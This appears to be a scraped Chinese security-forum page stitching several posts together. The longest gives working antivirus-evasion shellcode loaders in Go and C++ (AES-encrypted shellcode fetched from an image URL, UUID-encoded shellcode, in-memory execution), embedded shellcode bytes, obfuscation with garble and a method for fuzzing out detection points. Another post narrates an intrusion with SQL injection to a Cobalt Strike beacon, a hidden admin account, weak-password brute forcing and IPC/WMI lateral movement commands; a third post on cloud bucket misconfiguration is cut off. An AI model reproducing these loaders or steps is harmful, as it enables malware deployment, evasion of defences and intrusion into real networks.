2f,0x34,0x2e,0x30,0x3b,0x20,0x2e,0x4e,0x45,0x54,0x20,0x43,0x4c,0x52,0x20,0x31,0x2e,0x31,0x2e,0x34,0x33,0x32,0x32,0x3b,0x20,0x42,0x4f,0x49,0x45,0x38,0x3b,0x45,0x4e,0x55,0x53,0x29,0x0d,0x0a,0x00,0xc0,0xc3,0x8d,0x65,0x38,0xca,0x0c,0x93,0xc0,0xbd,0xf5,0x27,0xdc,0xdb,0x12,0xe5,0xef,0x3b,0xfe,0xc4,0x43,0x2c,0x7a,0xb1,0x0e,0xba,0x25,0x17,0x96,0xd3,0xb3,0xbb,0xde,0xf7,0x3d,0x47,0x10,0xeb,0x63,0x04,0xc0,0x7f,0x4a,0xbb,0xda,0x0b,0x71,0x9e,0x5b,0xba,0xeb,0x87,0x01,0x53,0xc0,0x13,0xa5,0x2a,0xfc,0x2e,0x8c,0xbc,0x12,0xcf,0x18,0xc5,0xc8,0x33,0xa6,0x40,0xe8,0xd0,0xf2,0x5f,0xa9,0xca,0xb4,0xb9,0x61,0xa1,0xcd,0x8d,0x50,0x1c,0x31,0xb8,0xdd,0x69,0x0c,0xb2,0xa1,0xd6,0xf1,0xc9,0xcf,0x5a,0xec,0xb5,0xab,0x24,0x46,0x83,0xe5,0x49,0x5c,0xd8,0xe8,0x35,0x35,0xd8,0x75,0x87,0x96,0x57,0x6a,0x17,0x3a,0x6b,0xa3,0x7a,0x2b,0x28,0xc2,0xae,0x2a,0x62,0x0d,0xcc,0x7e,0x29,0x2c,0x9e,0xe6,0x38,0x76,0xfe,0x92,0x9a,0xc5,0x2c,0xc1,0x68,0xf7,0x84,0x33,0xd2,0x74,0xa7,0xcb,0x41,0x0d,0x0f,0x2f,0x24,0xaa,0x22,0xed,0xb2,0xfb,0x18,0xac,0x33,0x11,0xab,0x77,0x50,0x2c,0xaf,0xdc,0x33,0xf0,0x4f,0xce,0xe1,0x27,0x1a,0x5b,0x2e,0x9d,0xd7,0x2b,0x93,0x65,0x38,0xfd,0x04,0xbc,0x53,0x22,0xd8,0xc4,0x46,0xe0,0x0c,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x38,0x2e,0x34,0x32,0x2e,0x36,0x33,0x00,0x00,0x00,0x00,0x01,}
	key := "eaeasdzxc1qazxsw"
	b, _ := AesEncrypt([]byte(payload), []byte(key))
	b = b + "=====18jokriwow0"
	WriteFile(b)
	WriteImage(b)

}

loader.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func main() {
	encodeString := ""
	arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
	if strings.Contains(arg1, "http") {
		resp, err := http.Get(arg1)
		if err != nil {
			os.Exit(1)
		}
		b, err := ioutil.ReadAll(resp.Body)
		resp.Body.Close()
		if err != nil {
			os.Exit(1)
		}
		idx := 0
		b = []byte(b)
		for i := 0; i < len(b); i++ {
			if b[i] == 255 && b[i+1] == 217 {
				break
			}
			idx++
		}
		encodeString = string(b[idx+2:])
	} else if strings.Contains(arg1, "=====18jokriwow0") {
		encodeString = arg1
	} else {
		fmt.Println("a")
	}
	//获取到aes加密的shellcode qaeasdzxc1qazxsw
	var enc_key1 = "eaea"
	var enc_key2 = "sdzxc"
	var enc_key3 = "1qazxsw"

	sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

上面这个是从参数中获取shellcode加载的方式，如果识别到http，就从url中加载图片的shellcode，如果识别到=====18jokriwow0后缀，它才会在命令行中去解密并加载shellcode，如果二者条件都没达成，则什么都不执行。

免杀效果也是360，def，火绒静态动态全过！

3. Golang代码混淆

看过很多golang免杀的文章，但是很多人都没提到一点，Golang的代码混淆；由于 Golang 的反射等机制，需要将文件路径、函数名等大量信息打包进二进制文件，这部分信息无法被 strip，所以考虑通过混淆代码的方式提高逆向难度，增加免杀的概率。

Github有一个开源的Golang代码混淆项目：https://github.com/burrowers/garble

安装：

go install mvdan.cc/garble@latest

通过包装 Go 工具链来混淆 Go 代码。需要 Go 1.17 或更高版本。

garble build [build flags] [packages]

只要在编译时，将go build替换为garble build即可，该工具还支持garble test使用混淆代码运行测试，以及garble reverse去混淆诸如堆栈跟踪之类的文本。请参阅garble -h了解最新的使用信息。

混淆前

反编译可以看到函数名等信息清晰可见：

混淆后

混淆后代码大小也从1.6m变为了1.1m。

混淆后微步3/25，检测为安全，打分为10分：

4.UUID免杀

使用Python生成uuid格式：

# shellcode必须是16的倍数，不足用x00补充
import uuid
shellcode=b""
print(len(shellcode))
list = []
for i in range(32): # range的范围也需要是16的倍数
	bytes_a = shellcode[i * 16: 16 + i * 16]
	b = uuid.UUID(bytes_le=bytes_a)
	list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
	f.write("const char* uuids[] ={")
	for UUID in list:
		f.write("\""+UUID+"\""+",")
	f.write("};")
print(list)

loader:

[[include]]<Windows.h>
[[include]]<Rpc.h>
[[include]]<iostream>
[[pragma]] comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "e48348fc-e8f0-00cc-0000-415141505251","56d23148-4865-
528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-
4120-c1c9-0d4101c1e2ed","528b4852-4120-8b51-423c-4801d0668178","0f020b18-7285-
0000-008b-808800000048","6774c085-0148-8bd0-4818-50448b402049","56e3d001-ff48-
4dc9-31c9-418b34884801","c03148d6-c141-0dc9-ac41-01c138e075f1","244c034c-4508-
d139-75d8-58448b402449","4166d001-0c8b-4448-8b40-1c4901d0418b","01488804-41d0-
4158-585e-595a41584159","83485a41-20ec-5241-ffe0-5841595a488b","ff4be912-ffff495d-be77-73325f333200","49564100-e689-8148-eca0-0100004989e5","0002bc49-5c11-
a8c0-7a92-41544989e44c","ba41f189-774c-0726-ffd5-4c89ea680101","41590000-29ba6b80-00ff-d56a0a415e50","c9314d50-314d-48c0-ffc0-4889c248ffc0","41c18948-eabadf0f-e0ff-d54889c76a10","894c5841-48e2-f989-41ba-99a57461ffd5","0a74c085-ff49-
75ce-e5e8-930000004883","894810ec-4de2-c931-6a04-41584889f941","c8d902ba-ff5f83d5-f800-7e554883c420","6af6895e-4140-6859-0010-000041584889","c93148f2-ba41-
a458-53e5-ffd54889c349","314dc789-49c9-f089-4889-da4889f941ba","5fc8d902-d5fff883-007d-285841575968","00004000-5841-006a-5a41-ba0b2f0f30ff","415957d5-75ba4d6e-61ff-d549ffcee93c","48ffffff-c301-2948-c648-85f675b441ff","006a58e7-4959-
c2c7-f0b5-a256ffd50000", };
int main()
{
	HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
	void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
	if (ha == NULL)
	{
		cout << "内存申请失败！" << endl;
		return 0;
	}
	DWORD_PTR hptr = (DWORD_PTR)ha;
	int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
	for (int i = 0; i < elems; i++)
	{
		cout << (RPC_CSTR)uuids[i] << endl;
		cout << (UUID*)hptr << endl;
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
		if (status != RPC_S_OK)//判断是否写入正常
		{
			cout << "UuidFromeStringA()!=S_OK" << endl;
			CloseHandle(ha);
			return -1;
		}
		hptr += 16;
	}
	//((void(*)())ha)();
	EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
	CloseHandle(ha);
	return 0;
}

5.底层API绕过免杀

先看以下这两个loader

loader1.go:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

var iv = "0000000000000000"

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func Run(sc []byte) {

	f := func() {}

	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}

	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	f()
}

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func CError(err error) {
	if err != nil {
		fmt.Println(err)
		return
	}
	return

}
func main() {
	//abcdekaWDCasCAWQ
	var enc_key1 = "zizwsxedc"
	var enc_key2 = "1234567"
	var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "asdsadsadsad"} // 第三个里面放加密过的shellcode
	sc, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
	Run([]byte(sc))

}

loader2.go:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"syscall"
	"unsafe"
)

var iv = "0000000000000000"

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func CError(err error) {
	if err != nil {
		fmt.Println(err)
		return
	}
	return
}

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	KEY_1                  = 90
	KEY_2                  = 91
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	var enc_key1 = "zizwsxedc"
	var enc_key2 = "1234567"
	var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
	shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)

}

这两个都是Go语言实现的加载aes加密shellcode的 loader，区别在于，第一个loader调用了Windows VirtualProtec api，第二个没有，而第一种，直接编译后会被火绒杀掉，第二种可正常免杀。

loader1.go

loader2.go

0x05 Fuzz Loader源码

如何Fuzz 出loader被查杀的点，在写免杀时尤为重要，因为你不知道问题出在哪里，就没办法解决问题。在fuzz时，要注意我们的木马是静态被杀还是运行时被杀，这有助于我们更快的锁定查杀点。下面讲一下如何通过loader源码定位杀软查杀的点：

静态被杀

举下面这一个分离免杀 loader的例子：

loader.go

package main

import (
	"encoding/base64"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	KEY_1                  = 58
	KEY_2                  = 69
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	// imageURL := "http://127.0.0.1:8000/1.jpg"
	imageURL := os.Args[1]
	resp, err := http.Get(imageURL)
	if err != nil {
		os.Exit(1)
	}
	b, err := ioutil.ReadAll(resp.Body)
	resp.Body.Close()
	if err != nil {
		os.Exit(1)
	}
	idx := 0
	b = []byte(b)
	for i := 0; i < len(b); i++ {
		if b[i] == 255 && b[i+1] == 217 {
			break
		}
		idx++
	}
	encodeString := string(b[idx+2:])
	decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
	if err != nil {
		log.Fatalln(err)
	}
	var shellcode []byte
	for i := 0; i < len(decodeBytes); i++ {
		shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)
	}
	//fmt.Println(shellcode)
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

将shellcode通过两次异或，然后再base64加密，将加密过后的shellcode，追加到jpg图片后面，通过loader去加载这个图片里的shellcode，从而上线。

编译后，静态被火绒杀掉：

fuzz源代码：

当时怀疑是这里，通过读取到参数（图片路径），直接从图片里接收shellcode去加载，

注释掉这部分：

编译执行，继续报毒：

继续fuzz，将解密这行注释掉：

杀软不在报毒

目标缩小到

shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)

因为这只是一个加载器，图片以参数形式加载，而且加载器被静态杀掉，所以与shellcode无关，那问题就只可能出在异或上了

将异或改为加：

shellcode = append(shellcode, decodeBytes[i]+KEY_1+KEY_2)

这里就锁定了火绒查杀的点：查杀异或，只要换一种加密方式就好了。

如aes：

loader.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func main() {
	encodeString := ""
	arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
	if strings.Contains(arg1, "http") {
		resp, err := http.Get(arg1)
		if err != nil {
			os.Exit(1)
		}
		b, err := ioutil.ReadAll(resp.Body)
		resp.Body.Close()
		if err != nil {
			os.Exit(1)
		}
		idx := 0
		b = []byte(b)
		for i := 0; i < len(b); i++ {
			if b[i] == 255 && b[i+1] == 217 {
				break
			}
			idx++
		}
		encodeString = string(b[idx+2:])
	} else if strings.Contains(arg1, "=====18jokriwow0") {
		encodeString = arg1
	} else {
		fmt.Println("a")
	}
	//获取到aes加密的shellcode qaeasdzxc1qazxsw
	var enc_key1 = "eaea"
	var enc_key2 = "sdzxc"
	var enc_key3 = "1qazxsw"

	sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

动态被杀

在写loader时，遇到这样一种情况，defender、360落地不杀，defender云查杀扫描后被杀：

当时loader是这样：

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func main() {
	encodeString := ""
	arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
	if strings.Contains(arg1, "http") {
		resp, err := http.Get(arg1)
		if err != nil {
			os.Exit(1)
		}
		b, err := ioutil.ReadAll(resp.Body)
		resp.Body.Close()
		if err != nil {
			os.Exit(1)
		}
		idx := 0
		b = []byte(b)
		for i := 0; i < len(b); i++ {
			if b[i] == 255 && b[i+1] == 217 {
				break
			}
			idx++
		}
		encodeString = string(b[idx+2:])
	} else {
		encodeString = arg1
	}
	//获取到aes加密的shellcode qaeasdzxc1qazxsw
	var enc_key1 = "eaea"
	var enc_key2 = "sdzxc"
	var enc_key3 = "1qazxsw"

	sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

loader有两种上线方式，首先判断参数中是否有"http",如果有就去请求链接，否则直接解密并加载shellcode。

想到落地不被杀，云查杀之后被杀，怀疑被跑沙箱，提取了第二种上线方式的动作：

于是修改loader

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func main() {
	encodeString := ""
	arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
	if strings.Contains(arg1, "http") {
		resp, err := http.Get(arg1)
		if err != nil {
			os.Exit(1)
		}
		b, err := ioutil.ReadAll(resp.Body)
		resp.Body.Close()
		if err != nil {
			os.Exit(1)
		}
		idx := 0
		b = []byte(b)
		for i := 0; i < len(b); i++ {
			if b[i] == 255 && b[i+1] == 217 {
				break
			}
			idx++
		}
		encodeString = string(b[idx+2:])
	} else if strings.Contains(arg1, "=====18jokriwow0") {
		encodeString = arg1
	} else {
		fmt.Println("a")
	}
	//获取到aes加密的shellcode qaeasdzxc1qazxsw
	var enc_key1 = "eaea"
	var enc_key2 = "sdzxc"
	var enc_key3 = "1qazxsw"

	sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

在生成加密的shellcode时，会在后缀随机添加一段字符串，只有匹配到该字符串，才运行第二种上线方式，若两者（既不含有"http"又不含有特殊字符）都不成立，则打印a（fmt.Println("a")）。顺利过defender、360、卡巴等。。。

好了，今天的分享就到这里，有问题的话评论区见。

# included[].attributes.contentHtml
Yyds

# included[].attributes.contentHtml
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。
一、漏洞挖掘
由于是做项目客户大大会直接将测试系统甩过来,所以这里就不过多介绍信息收集了,直接开始日
我的方法的话通过AWVS+人工渗透来进行测试
通过1-2小时的扫描发现Sql注入漏洞，此时我们来进行人工复现，首先呢先访问漏洞url，然后通过bp抓包，抓包如下：

poc:
POST /xxx/xxxx/login.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://xxx.xxx.com:7699/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate,br
Content-Length: 58
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: xx.xx.xx.xx
Connection: Keep-alive
pwd=&userno=59s45qhepwd=&userno=59s45qhe

可以得知这个数据包呢是一处登录口的数据包但是访问的话不能正常访问，但是AWVS爆漏洞我们还是老老实实将数据包保存跑一下Sqlmap,Sqlmap测试结果如下：

图 1-1 Sql注入DBA
测试结果对方未mssql数据库+Windows操作系统+asp.net站点，且为DBA权限,主要为DBA权限的话我们的操作空间就会很大了，接下来讲解内网渗透
二、内网渗透
通过图 1-1得知对方未DBA权限这里直接获取对方的os-shell以此来执行powershell命令以此上线cs

图 2-1 Sql注入命令执行
执行之后成果上线，由于通过信息收集发现对方只打了5个补丁，且杀毒检测也是关闭的，这里的话我就直接进行了提权

图 2-2 上线CS
提权完之后我们在进行信息收集以及密码抓取，由于探测对方为win2016 系统因此抓不到明文密码因此我这里添加影子用户admin$/admin@123../，做内网socks代理进行远程连接，这里做端口转发的话容易被发现所以我是直接通过对方的网络进行连接，也有一定的隐蔽性

图 2-3 172.16.0.188服务器
接着利用此用户做了简简单单权限维持后，将内网神器fscan上传至服务器隐藏文件夹进行扫描，成功通过弱口令拿下大量机器，由于机器太多我这里就直接贴cs上线的截图以及部分机器截图了
通过内网扫描工具爆破rdp获取的机器如下：
弱口令都为：administrator/123456

图 2-4 172.16.0.175服务器

图 2-5 172.16.4.19个人PC

图 2-6 172.16.7.39个人PC
这里由于机器过多所以这里就只贴三张图了，rdp弱口令拿下将近12台主机
接下来就是通过内网的ipc共享加wmi以及加壳免杀上线CS，如下：
这里不直接用ipc横向的原因就是在创计划任务时提示拒绝访问，自我猜测被360天擎拦截，然后将ipc和wmi组合用的原因呢就是wmi需要将后门上传web服务器，但是这样很容易被发现，ipc传马的话只需建立连接直接传马加上wmi直接进行执行在connect连接即可
这里利用的前提条件的话需要指导对方的一个账号密码且对方要开启共享以及135端口,这里通过爆破的话也是获取到了大量机器的账号密码都为：administrator/123456
接着将其上线如下：

图 2-7-8 主机上线图

图 2-9 横向移动
ipc:
net use \ip\ipc$ 密码 /user:用户名 \进行ipc连接
copy 某盘符木马 \ip\c$ \将拿到的服务器的木马传至对方的c盘
wmi：wmiexec ./administrator:admin!@#45@ip "cmd.exe /c c:/beacon.exe" \执行传在c盘木马
机器权限拿的差不多了在贴一张FTP吧
FTP：弱口令：admin/admin
文件预估有一万以上，预计是FTP服务器来的存储了大量文件

图 2-10 FTP
至此渗透结束、总结拿到的机器权限40多台、FTP权限上百个。由于授权测试时间只给了两天,不然足够有时间拿到域控以及进入工控网等
结束语
其实每次渗透测试实战时每个环境都不一样,这里给各位师傅一句建议就是每次做渗透时要么写一份语雀要么将报告保存好,这样有助于增长我们的实战经验忘了也可以返回去看自己的骚姿势。在此感谢各位师傅观看!Thank you!

# included[].attributes.contentHtml
火线用户25ee3b fscan自带简单的弱口令爆破

# included[].attributes.contentHtml
阿里云 OSS对象存储攻防

本文分为两个部分
第一部分介绍OSS对象存储攻防的方式
第二部分为真实漏洞案例

1、Bucket权限配置错误-公开访问

在创建Bucket桶时，默认是private的权限，如果在错误的配置下，给了listobject权限，就会导致可遍历存储桶

在此时如果选择公有读的话，会出现两种情况

1、在只配置读写权限设置为公有读或公共读写的情况下，无法列出对象

但是可以直接访问对应的KEY路径

2、如果想列出Object对象，只需要在Bucket授权策略中设置ListObject即可

这样再当我们访问存储桶域名的时候就会发现，已经把我们存储桶的东西列出来了

2、Bucket桶爆破

